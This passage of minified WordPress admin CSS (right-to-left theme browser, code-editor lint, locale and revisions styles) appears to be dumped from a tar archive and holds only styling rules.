rgba(0,0,0,.1);z-index:10000;box-sizing:border-box;-webkit-overflow-scrolling:touch}body.folded .theme-browser~.theme-overlay .theme-wrap{right:70px}.theme-overlay .theme-about{position:absolute;top:49px;bottom:57px;right:0;left:0;overflow:auto;padding:2% 4%}.theme-overlay .theme-actions{position:absolute;text-align:center;bottom:0;right:0;left:0;padding:10px 25px 5px;background:#f6f7f7;z-index:30;box-sizing:border-box;border-top:1px solid #f0f0f1;display:flex;justify-content:center;gap:5px}.theme-overlay .theme-actions .button{margin-bottom:5px}.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"],.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"]{display:none}.broken-themes a.delete-theme,.theme-overlay .theme-actions .delete-theme{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.broken-themes a.delete-theme:focus,.broken-themes a.delete-theme:hover,.theme-overlay .theme-actions .delete-theme:focus,.theme-overlay .theme-actions .delete-theme:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.theme-overlay .theme-actions .active-theme,.theme-overlay.active .theme-actions .inactive-theme{display:none}.theme-overlay .theme-actions .inactive-theme,.theme-overlay.active .theme-actions .active-theme{display:block}.theme-overlay .theme-screenshots{float:right;margin:0 0 0 30px;width:55%;max-width:1200px;text-align:center}.theme-overlay .screenshot{border:1px solid #fff;box-sizing:border-box;overflow:hidden;position:relative;box-shadow:0 0 0 1px rgba(0,0,0,.2)}.theme-overlay .screenshot:after{content:"";display:block;padding-top:75%}.theme-overlay .screenshot img{height:auto;position:absolute;right:0;top:0;width:100%}.theme-overlay.small-screenshot .theme-screenshots{position:absolute;width:302px}.theme-overlay.small-screenshot .theme-info{margin-right:350px;width:auto}.theme-overlay .screenshot.thumb{background:#c3c4c7;border:1px solid #f0f0f1;float:none;display:inline-block;margin:10px 5px 0;width:140px;height:80px;cursor:pointer}.theme-overlay .screenshot.thumb:after{content:"";display:block;padding-top:100%}.theme-overlay .screenshot.thumb img{cursor:pointer;height:auto;position:absolute;right:0;top:0;width:100%;height:auto}.theme-overlay .screenshot.selected{background:0 0;border:2px solid #72aee6}.theme-overlay .screenshot.selected img{opacity:.8}.theme-browser .theme .theme-screenshot.blank,.theme-overlay .screenshot.blank{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=)}.theme-overlay .theme-info{width:40%;float:right}.theme-overlay .current-label{background:#2c3338;color:#fff;font-size:11px;display:inline-block;padding:2px 8px;border-radius:2px;margin:0 0 -10px;-webkit-user-select:none;user-select:none}.theme-overlay .theme-name{color:#1d2327;font-size:32px;font-weight:100;margin:10px 0 0;line-height:1.3;word-wrap:break-word;overflow-wrap:break-word}.theme-overlay .theme-version{color:#646970;font-size:13px;font-weight:400;float:none;display:inline-block;margin-right:10px}.theme-overlay .theme-author{margin:15px 0 25px;color:#646970;font-size:16px;font-weight:400;line-height:inherit}.theme-overlay .toggle-auto-update{display:inline-flex;align-items:center;min-height:20px;vertical-align:top}.theme-overlay .theme-autoupdate .toggle-auto-update{text-decoration:none}.theme-overlay .theme-autoupdate .toggle-auto-update .label{text-decoration:underline}.theme-overlay .theme-description{color:#50575e;font-size:15px;font-weight:400;line-height:1.5;margin:30px 0 0}.theme-overlay .theme-tags{border-top:3px solid #f0f0f1;color:#646970;font-size:13px;font-weight:400;margin:30px 0 0;padding-top:20px}.theme-overlay .theme-tags span{color:#3c434a;font-weight:600;margin-left:5px}.theme-overlay .parent-theme{background:#fff;border:1px solid #f0f0f1;border-right:4px solid #72aee6;font-size:14px;font-weight:400;margin-top:30px;padding:10px 20px 10px 10px}.theme-overlay .parent-theme strong{font-weight:600}.single-theme .theme,.single-theme .theme-overlay .theme-backdrop,.single-theme .theme-overlay .theme-header{display:none}.single-theme .theme-overlay .theme-wrap{clear:both;min-height:330px;position:relative;right:auto;left:auto;top:auto;bottom:auto;z-index:10}.single-theme .theme-overlay .theme-about{padding:30px 30px 70px;position:static}.single-theme .theme-overlay .theme-actions{position:absolute}@media only screen and (min-width:2000px){#wpwrap .theme-browser .theme{width:17.6%;margin:0 0 3% 3%}#wpwrap .theme-browser .theme:nth-child(3n),#wpwrap .theme-browser .theme:nth-child(4n){margin-left:3%}#wpwrap .theme-browser .theme:nth-child(5n){margin-left:0}}@media only screen and (min-width:1680px){.theme-overlay .theme-wrap{width:1450px;margin:0 auto}}@media only screen and (min-width:1640px){.theme-browser .theme{width:22.7%;margin:0 0 3% 3%}.theme-browser .theme .theme-screenshot:after{padding-top:75%}.theme-browser .theme:nth-child(3n){margin-left:3%}.theme-browser .theme:nth-child(4n){margin-left:0}}@media only screen and (max-width:1120px){.theme-browser .theme{width:47.5%;margin-left:0}.theme-browser .theme:nth-child(2n){margin-left:0}.theme-browser .theme:nth-child(odd){margin-left:5%}}@media only screen and (max-width:960px){.theme-overlay .theme-wrap{right:65px}}@media only screen and (max-width:782px){.theme-overlay .theme-wrap,body.folded .theme-overlay .theme-wrap{top:0;left:0;bottom:0;right:0;padding:70px 20px 20px;border:none;z-index:100000;position:fixed}.theme-browser .theme.active .theme-name span{display:none}.theme-overlay .theme-screenshots{width:40%}.theme-overlay .theme-info{width:50%}.single-theme .theme-wrap{padding:10px}.theme-browser .theme .theme-actions{padding:5px 10px 4px}.theme-overlay.small-screenshot .theme-screenshots{position:static;float:none;max-width:302px}.theme-overlay.small-screenshot .theme-info{margin-right:0;width:auto}.theme.focus .more-details,.theme:hover .more-details,.theme:not(.active):focus .theme-actions,.theme:not(.active):hover .theme-actions{display:none}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:1}}@media only screen and (max-width:480px){.theme-browser .theme{width:100%;margin-left:0}.theme-browser .theme:nth-child(2n),.theme-browser .theme:nth-child(3n){margin-left:0}.theme-overlay .theme-about{bottom:105px}.theme-overlay .theme-actions{padding-right:4%;padding-left:4%}.theme-install-php .wp-filter .filter-count{margin-top:10px}}@media only screen and (max-width:650px){.theme-overlay .theme-description{margin-right:0}.theme-overlay .theme-actions .delete-theme{position:relative;left:auto;bottom:auto}.theme-overlay .theme-actions .inactive-theme{display:inline}.theme-overlay .theme-screenshots{width:100%;float:none;margin:0}.theme-overlay .theme-info{width:100%}.theme-overlay .theme-author{margin:5px 0 15px}.theme-overlay .current-label{margin-top:10px;font-size:13px}.themes-php .wp-filter-search{width:100%}.theme-install-php .wp-filter p.search-box{display:grid;row-gap:.5rem}.theme-browser .theme.add-new-theme span:after{font:normal 60px/90px dashicons;width:80px;height:80px;top:30%;right:50%;text-indent:0;margin-right:-40px}.single-theme .theme-wrap{margin:0 -10px 0 -12px;padding:10px}.single-theme .theme-overlay .theme-about{padding:10px;overflow:visible}.single-theme .current-label{display:none}.single-theme .theme-overlay .theme-actions{position:static}}.broken-themes{clear:both}.broken-themes table{text-align:right;width:50%;border-spacing:3px;padding:3px}.update-php .wrap{max-width:40rem}.theme-browser .theme .theme-installed{background:#2271b1}.theme-browser .theme .notice-success p:before{color:#68de7c;content:"\f147";content:"\f147"/'';display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.theme-install.updated-message:before{content:""}.theme-install-php .wp-filter{padding-right:20px}@media only screen and (max-width:1000px){.theme-install-php .wp-filter p.search-box{column-gap:.5rem}}.theme-install-php a.browse-themes,.theme-install-php a.upload{cursor:pointer}.plugin-install-tab-upload .upload-view-toggle .upload,.upload-view-toggle .browse{display:none}.plugin-install-tab-upload .upload-view-toggle .browse{display:inline}.upload-plugin,.upload-theme{box-sizing:border-box;display:none;margin:0;padding:50px 0;width:100%;overflow:hidden;position:relative;top:10px;text-align:center}.plugin-install-tab-upload .upload-plugin,.show-upload-view .upload-plugin,.show-upload-view .upload-plugin-wrap,.show-upload-view .upload-theme{display:block}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{position:relative;margin:30px;display:inline-flex;justify-content:space-between;align-items:center;border:1px solid #c3c4c7;background:#f6f7f7}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{background:0 0;margin:0;padding:30px 30px 30px 0}.wp-upload-form input[type=submit].button{margin-left:30px}.upload-plugin .install-help,.upload-theme .install-help{color:#50575e;font-size:18px;font-style:normal;margin:0;padding:0;text-align:center}p.no-themes,p.no-themes-local{clear:both;color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0;text-align:center;display:none}.no-results p.no-themes{display:block}.theme-install-php .add-new-theme{display:none!important}@media only screen and (max-width:1120px){.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{margin:20px 0;max-width:100%}.upload-theme .install-help{font-size:15px;padding:20px 0 0}}.theme-details .theme-rating{line-height:1.9}.theme-details .star-rating{display:inline}.theme-details .no-rating,.theme-details .num-ratings{font-size:11px;color:#646970}.theme-details .no-rating{display:block;line-height:1.9}.update-from-upload-comparison{border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;text-align:right;margin:1rem 0 1.4rem;border-collapse:collapse;width:100%}.update-from-upload-comparison tr:last-child td{height:1.4rem;vertical-align:top}.update-from-upload-comparison tr:first-child th{font-weight:700;height:1.4rem;vertical-align:bottom}.update-from-upload-comparison td.name-label{text-align:left}.update-from-upload-comparison td,.update-from-upload-comparison th{padding:.4rem 1.4rem}.update-from-upload-comparison td.warning{color:#d63638}.update-from-upload-actions{margin-top:1.4rem}.appearance_page_custom-header #headimg{border:1px solid #dcdcde;overflow:hidden;width:100%}.appearance_page_custom-header #upload-form p label{font-size:12px}.appearance_page_custom-header .available-headers .default-header{float:right;margin:0 0 20px 20px}.appearance_page_custom-header .random-header{clear:both;margin:0 0 20px 20px;vertical-align:middle}.appearance_page_custom-header .available-headers label input,.appearance_page_custom-header .random-header label input{margin-left:10px}.appearance_page_custom-header .available-headers label img{vertical-align:middle}div#custom-background-image{min-height:100px;border:1px solid #dcdcde}div#custom-background-image img{max-width:400px;max-height:300px}.background-position-control input[type=radio]:checked~.button{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);z-index:1}.background-position-control input[type=radio]:focus~.button{border-color:#4f94d4;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 3px rgba(34,113,177,.8);color:#1d2327}.background-position-control .background-position-center-icon,.background-position-control .background-position-center-icon:before{display:inline-block;line-height:1;text-align:center;transition:background-color .1s ease-in}.background-position-control .background-position-center-icon{height:20px;margin-top:13px;vertical-align:top;width:20px}.background-position-control .background-position-center-icon:before{background-color:#50575e;border-radius:50%;content:"";height:12px;width:12px}.background-position-control .button:hover .background-position-center-icon:before,.background-position-control input[type=radio]:focus~.button .background-position-center-icon:before{background-color:#1d2327}.background-position-control .button-group{display:block}.background-position-control .button-group .button{border-radius:0;box-shadow:none;height:40px!important;line-height:2.9!important;margin:0 0 0 -1px!important;padding:0 10px 1px!important;position:relative}.background-position-control .button-group .button:active,.background-position-control .button-group .button:focus,.background-position-control .button-group .button:hover{z-index:1}.background-position-control .button-group:last-child .button{box-shadow:0 1px 0 #c3c4c7}.background-position-control .button-group>label{margin:0!important}.background-position-control .button-group:first-child>label:first-child .button{border-radius:0 3px 0 0}.background-position-control .button-group:first-child>label:first-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:first-child>label:last-child .button{border-radius:3px 0 0 0}.background-position-control .button-group:first-child>label:last-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:last-child>label:first-child .button{border-radius:0 0 3px 0}.background-position-control .button-group:last-child>label:first-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:last-child>label:last-child .button{border-radius:0 0 0 3px}.background-position-control .button-group:last-child>label:last-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group+.button-group{margin-top:-1px}body.full-overlay-active{overflow:hidden;visibility:hidden}.wp-full-overlay{background:0 0;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;right:0;left:0;height:100%;min-width:0}.wp-full-overlay-sidebar{box-sizing:border-box;position:fixed;min-width:300px;max-width:600px;width:18%;height:100%;top:0;bottom:0;right:0;padding:0;margin:0;z-index:10;background:#f0f0f1;border-left:none}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{overflow:visible}.wp-full-overlay.collapsed,.wp-full-overlay.expanded .wp-full-overlay-sidebar{margin-right:0!important}.wp-full-overlay.expanded{margin-right:300px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-300px}@media screen and (min-width:1667px){.wp-full-overlay.expanded{margin-right:18%}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-18%}}@media screen and (min-width:3333px){.wp-full-overlay.expanded{margin-right:600px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-600px}}.wp-full-overlay-sidebar:after{content:"";display:block;position:absolute;top:0;bottom:0;left:0;width:3px;z-index:1000}.wp-full-overlay-main{position:absolute;right:0;left:0;top:0;bottom:0;height:100%}.wp-full-overlay-sidebar .wp-full-overlay-header{position:absolute;right:0;left:0;height:45px;padding:0 15px;line-height:3.2;z-index:10;margin:0;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-header a.back{margin-top:3px}.wp-full-overlay-sidebar .wp-full-overlay-footer{bottom:0;border-bottom:none;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{position:absolute;top:45px;bottom:45px;right:0;left:0;overflow:auto}.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header{padding:0}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{display:block;position:relative;float:right;width:45px;height:45px;background:#f0f0f1;border-left:1px solid #dcdcde;color:#3c434a;cursor:pointer;text-decoration:none;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-install-overlay .close-full-overlay:focus,.theme-install-overlay .close-full-overlay:hover,.theme-install-overlay .next-theme:focus,.theme-install-overlay .next-theme:hover,.theme-install-overlay .previous-theme:focus,.theme-install-overlay .previous-theme:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.theme-install-overlay .close-full-overlay:before{font:normal 22px/1 dashicons;content:"\f335";content:"\f335"/'';position:relative;top:7px;right:13px}.theme-install-overlay .previous-theme:before{font:normal 20px/1 dashicons;content:"\f345";content:"\f341"/'';position:relative;top:6px;right:14px}.theme-install-overlay .next-theme:before{font:normal 20px/1 dashicons;content:"\f341";content:"\f345"/'';position:relative;top:6px;right:13px}.theme-install-overlay .next-theme.disabled,.theme-install-overlay .next-theme.disabled:focus,.theme-install-overlay .next-theme.disabled:hover,.theme-install-overlay .previous-theme.disabled,.theme-install-overlay .previous-theme.disabled:focus,.theme-install-overlay .previous-theme.disabled:hover{color:#c3c4c7;background:#f0f0f1;cursor:default;pointer-events:none}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{border-right:0;border-top:0;border-bottom:0}.theme-install-overlay .close-full-overlay:before,.theme-install-overlay .next-theme:before,.theme-install-overlay .previous-theme:before{top:2px;right:0}.wp-core-ui .wp-full-overlay .collapse-sidebar{position:fixed;bottom:0;right:0;padding:9px 10px 9px 0;height:45px;color:#646970;outline:0;line-height:1;background-color:transparent!important;border:none!important;box-shadow:none!important;border-radius:0!important}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#2271b1}.wp-full-overlay .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar-label{display:inline-block;vertical-align:middle;line-height:1.6}.wp-full-overlay .collapse-sidebar-arrow{width:20px;height:20px;margin:0 2px;border-radius:50%;overflow:hidden}.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-full-overlay .collapse-sidebar-label{margin-right:3px}.wp-full-overlay.collapsed .collapse-sidebar-label{display:none}.wp-full-overlay .collapse-sidebar-arrow:before{display:block;content:"\f148";content:"\f148"/'';background:#f0f0f1;font:normal 20px/1 dashicons;padding:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar{padding:9px 10px}.rtl .wp-full-overlay .collapse-sidebar-arrow:before,.wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:rotate(180.001deg)}.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:none}@media (prefers-reduced-motion:no-preference){.wp-full-overlay,.wp-full-overlay .collapse-sidebar,.wp-full-overlay-main,.wp-full-overlay-sidebar{transition-property:right,left,top,bottom,width,margin;transition-duration:.2s}}.wp-full-overlay{background:#1d2327}.wp-full-overlay-main{background-color:#f0f0f1}.expanded .wp-full-overlay-footer{position:fixed;bottom:0;right:0;min-width:299px;max-width:599px;width:18%;width:calc(18% - 1px);height:45px;border-top:1px solid #dcdcde;background:#f0f0f1}.wp-full-overlay-footer .devices-wrapper{float:left}.wp-full-overlay-footer .devices{position:relative;background:#f0f0f1;box-shadow:20px 0 10px -5px #f0f0f1}.wp-full-overlay-footer .devices button{cursor:pointer;background:0 0;border:none;height:45px;padding:0 3px;margin:0 -4px 0 0;box-shadow:none;border-top:1px solid transparent;border-bottom:4px solid transparent;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}.wp-full-overlay-footer .devices button:focus{box-shadow:none;outline:0}.wp-full-overlay-footer .devices button:before{display:inline-block;-webkit-font-smoothing:antialiased;font:normal 20px/30px dashicons;vertical-align:top;margin:3px 0;padding:4px 8px;color:#646970}.wp-full-overlay-footer .devices button.active{border-bottom-color:#1d2327}.wp-full-overlay-footer .devices button:focus,.wp-full-overlay-footer .devices button:hover{background-color:#fff}.wp-full-overlay-footer .devices button.active:hover,.wp-full-overlay-footer .devices button:focus{border-bottom-color:#2271b1}.wp-full-overlay-footer .devices button.active:before{color:#1d2327}.wp-full-overlay-footer .devices button:focus:before,.wp-full-overlay-footer .devices button:hover:before{color:#2271b1}.wp-full-overlay-footer .devices .preview-desktop:before{content:"\f472";content:"\f472"/''}.wp-full-overlay-footer .devices .preview-tablet:before{content:"\f471";content:"\f471"/''}.wp-full-overlay-footer .devices .preview-mobile:before{content:"\f470";content:"\f470"/''}@media screen and (max-width:1024px){.wp-full-overlay-footer .devices{display:none}}.collapsed .wp-full-overlay-footer .devices button:before{display:none}.preview-mobile .wp-full-overlay-main{margin:auto -160px auto 0;width:320px;height:480px;max-height:100%;max-width:100%;right:50%}.preview-tablet .wp-full-overlay-main{margin:auto -360px auto 0;width:720px;height:1080px;max-height:100%;max-width:100%;right:50%}.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#customize-container,#customize-controls .notice.notification-overlay{background:#f0f0f1;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;right:0;left:0;height:100%}#customize-container{display:none}#customize-container,.theme-install-overlay{visibility:visible}.customize-loading #customize-container iframe{opacity:0}#customize-container iframe,.theme-install-overlay iframe{height:100%;width:100%;z-index:20;transition:opacity .3s}#customize-controls{margin-top:0}.theme-install-overlay{display:none}.theme-install-overlay.single-theme{display:block}.install-theme-info{display:none;padding:10px 20px 60px}.single-theme .install-theme-info{padding-top:15px}.theme-install-overlay .install-theme-info{display:block}.install-theme-info .theme-install{float:left;margin-top:18px}.install-theme-info .theme-name{font-size:16px;line-height:1.5;margin-bottom:0;margin-top:0}.install-theme-info .theme-screenshot{margin:15px 0;width:258px;border:1px solid #c3c4c7;position:relative;overflow:hidden}.install-theme-info .theme-screenshot>img{width:100%;height:auto;position:absolute;right:0;top:0}.install-theme-info .theme-screenshot:after{content:"";display:block;padding-top:66.66666666%}.install-theme-info .theme-details{overflow:hidden}.theme-details .theme-version{margin:15px 0}.theme-details .theme-description{float:right;color:#646970;line-height:1.6;max-width:100%}.theme-install-overlay .wp-full-overlay-header .button{float:left;margin:7px 0 0 10px;min-height:32px;line-height:2.30769231}.theme-install-overlay .wp-full-overlay-sidebar{background:#f0f0f1;border-left:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-sidebar-content{background:#fff;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-main{position:absolute;z-index:0;background-color:#f0f0f1}.customize-loading #customize-container{background-color:#f0f0f1}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;z-index:-1;margin:-10px -10px 0 0;transform:translateZ(0);background:transparent url(../images/spinner.gif) no-repeat center center;background-size:20px 20px}#customize-preview.wp-full-overlay-main.iframe-ready:before,.theme-install-overlay.iframe-ready .wp-full-overlay-main:before{background-image:none}@media print,(min-resolution:120dpi){.wp-full-overlay .collapse-sidebar-arrow{background-image:url(../images/arrows-2x.png);background-size:15px 123px}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.available-theme .action-links .delete-theme{float:none;margin:0;padding:0;clear:both}.available-theme .action-links .delete-theme a{padding:0}.broken-themes table{width:100%}.theme-install-overlay .wp-full-overlay-header .button{font-size:13px}.theme-browser .theme .theme-actions .button{margin-bottom:0}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{padding-top:4px;padding-bottom:4px}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{width:100%;box-sizing:border-box}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{padding:30px 30px 30px 0;width:100%}} css/code-editor-rtl.min.css 0000644 00000002637 15233246127 0011642 0 ustar 00 /*! This file is auto-generated */ .wp-core-ui [class*=CodeMirror-lint-message],.wrap .CodeMirror-lint-marker-multiple,.wrap [class*=CodeMirror-lint-marker]{background-image:none}.wp-core-ui .CodeMirror-lint-marker-error,.wp-core-ui .CodeMirror-lint-marker-warning{cursor:help}.wrap .CodeMirror-lint-marker-multiple{position:absolute;top:0}.wrap [class*=CodeMirror-lint-marker]:before{font:normal 18px/1 dashicons;position:relative;top:-2px}.wp-core-ui [class*=CodeMirror-lint-message]:before{font:normal 16px/1 dashicons;right:16px;position:absolute}.wp-core-ui .CodeMirror-lint-message-error,.wp-core-ui .CodeMirror-lint-message-warning{box-shadow:0 1px 1px 0 rgba(0,0,0,.1);margin:5px 0 2px;padding:3px 28px 3px 12px}.wp-core-ui .CodeMirror-lint-message-warning{background-color:#fcf9e8;border-right:4px solid #dba617}.wp-core-ui .CodeMirror-lint-message-warning:before,.wrap .CodeMirror-lint-marker-warning:before{content:"\f534";color:#dba617}.wp-core-ui .CodeMirror-lint-message-error{background-color:#fcf0f1;border-right:4px solid #d63638}.wp-core-ui .CodeMirror-lint-message-error:before,.wrap .CodeMirror-lint-marker-error:before{content:"\f153";color:#d63638}.wp-core-ui .CodeMirror-lint-tooltip{background:0 0;border:none;border-radius:0;direction:rtl}.wrap .CodeMirror .CodeMirror-matchingbracket{background:rgba(219,166,23,.3);color:inherit}.CodeMirror{text-align:right}.wrap .CodeMirror .CodeMirror-linenumber{color:#646970} css/l10n-rtl.min.css 0000644 00000006204 15233246127 0010210 0 ustar 00 /*! This file is auto-generated */ body.rtl,body.rtl .press-this a.wp-switch-editor{font-family:Tahoma,Arial,sans-serif}.rtl h1,.rtl h2,.rtl h3,.rtl h4,.rtl h5,.rtl h6{font-family:Arial,sans-serif;font-weight:600}body.locale-he-il,body.locale-he-il .press-this a.wp-switch-editor{font-family:Arial,sans-serif}.locale-he-il em{font-style:normal;font-weight:600}.locale-zh-cn #local-time,.locale-zh-cn #utc-time,.locale-zh-cn .form-wrap p,.locale-zh-cn .howto,.locale-zh-cn .inline-edit-row fieldset span.checkbox-title,.locale-zh-cn .inline-edit-row fieldset span.title,.locale-zh-cn .js .input-with-default-title,.locale-zh-cn .link-to-original,.locale-zh-cn .tablenav .displaying-num,.locale-zh-cn p.description,.locale-zh-cn p.help,.locale-zh-cn p.install-help,.locale-zh-cn span.description{font-style:normal}.locale-zh-cn .hdnle a{font-size:12px}.locale-zh-cn form.upgrade .hint{font-style:normal;font-size:100%}.locale-zh-cn #sort-buttons{font-size:1em!important}.locale-de-de #customize-header-actions .button,.locale-de-de-formal #customize-header-actions .button{padding:0 5px 1px}.locale-de-de #customize-header-actions .spinner,.locale-de-de-formal #customize-header-actions .spinner{margin:16px 3px 0}body[class*=locale-de-] .inline-edit-row fieldset label span.title,body[class*=locale-de-] .inline-edit-row fieldset.inline-edit-date legend{width:7em}body[class*=locale-de-] .inline-edit-row fieldset .timestamp-wrap,body[class*=locale-de-] .inline-edit-row fieldset label span.input-text-wrap{margin-right:7em}.locale-ru-ru #adminmenu{width:inherit}.locale-ru-ru #adminmenu,.locale-ru-ru #wpbody{margin-right:0}.locale-ru-ru .inline-edit-row fieldset label span.title,.locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap{margin-right:8em}.locale-ru-ru.post-new-php .tagsdiv .newtag,.locale-ru-ru.post-php .tagsdiv .newtag{width:165px}.locale-ru-ru.press-this .posting{margin-left:277px}.locale-ru-ru .press-this-sidebar{width:265px}.locale-ru-ru #customize-header-actions .button{padding:0 5px 1px}.locale-ru-ru #customize-header-actions .spinner{margin:16px 3px 0}.locale-lt-lt .inline-edit-row fieldset label span.title,.locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend{width:8em}.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap{margin-right:8em}.locale-lt-lt .quick-edit-row-post fieldset.inline-edit-col-right label span.title,.locale-ru-ru .quick-edit-row-post fieldset.inline-edit-col-right label span.title,body[class*=locale-de-] .quick-edit-row-post fieldset.inline-edit-col-right label span.title{width:auto}@media screen and (max-width:782px){.locale-lt-lt .inline-edit-row fieldset .timestamp-wrap,.locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap,.locale-ru-ru .inline-edit-row fieldset .timestamp-wrap,.locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap,body[class*=locale-de-] .inline-edit-row fieldset .timestamp-wrap,body[class*=locale-de-] .inline-edit-row fieldset label span.input-text-wrap{margin-right:0}} css/revisions.min.css 0000644 00000021140 15233246127 0010654 0 ustar 00 /*! This file is auto-generated */ .revisions-control-frame,.revisions-diff-frame{position:relative}.revisions-diff-frame{top:10px}.revisions-controls{padding-top:40px;z-index:1}.revisions-controls input[type=checkbox]{position:relative;top:-1px;vertical-align:text-bottom}.revisions.pinned .revisions-controls{position:fixed;top:0;height:82px;background:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-tickmarks{position:relative;margin:0 auto;height:.7em;top:7px;max-width:70%;box-sizing:border-box;background-color:#fff}.revisions-tickmarks>div{position:absolute;height:100%;border-left:1px solid #a7aaad;box-sizing:border-box}.revisions-tickmarks>div:first-child{border-width:0}.comparing-two-revisions .revisions-controls{height:140px}.comparing-two-revisions.pinned .revisions-controls{height:124px}.revisions .diff-error{position:absolute;text-align:center;margin:0 auto;width:100%;display:none}.revisions.diff-error .diff-error{display:block}.revisions .loading-indicator{position:absolute;vertical-align:middle;opacity:0;width:100%;width:calc(100% - 30px);top:50%;top:calc(50% - 10px);transition:opacity .5s}body.folded .revisions .loading-indicator{margin-left:-32px}.revisions .loading-indicator span.spinner{display:block;margin:0 auto;float:none}.revisions.loading .loading-indicator{opacity:1}.revisions .diff{transition:opacity .5s}.revisions.loading .diff{opacity:.5}.revisions.diff-error .diff{visibility:hidden}.revisions-meta{margin-top:20px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1);overflow:hidden}.revisions.pinned .revisions-meta{box-shadow:none}.revision-toggle-compare-mode{position:absolute;top:0;right:0}.comparing-two-revisions .revisions-next,.comparing-two-revisions .revisions-previous,.revisions-meta .diff-meta-to strong{display:none}.revisions-controls .author-card .date{color:#646970}.revisions-controls .author-card.autosave{color:#d63638}.revisions-controls .author-card .author-name{font-weight:600}.comparing-two-revisions .diff-meta-to strong{display:block}.revisions.pinned .revisions-buttons{padding:0 11px}.revisions-next,.revisions-previous{position:relative;z-index:1}.revisions-previous{float:left}.revisions-next{float:right}.revisions-controls .wp-slider{max-width:70%;margin:0 auto;top:-3px}.revisions-diff{padding:15px;background-color:#fff;box-shadow:0 1px 3px rgba(0,0,0,.1)}.revisions-diff h3:first-child{margin-top:0}#revisions-meta-restored img,.post-revisions li img{vertical-align:middle}table.diff{table-layout:fixed;width:100%;white-space:pre-wrap}table.diff col.content{width:auto}table.diff col.content.diffsplit{width:48%}table.diff col.diffsplit.middle{width:auto}table.diff col.ltype{width:30px}table.diff tr{background-color:transparent}table.diff td,table.diff th{font-family:Consolas,Monaco,monospace;font-size:14px;line-height:1.57142857;padding:.5em .5em .5em 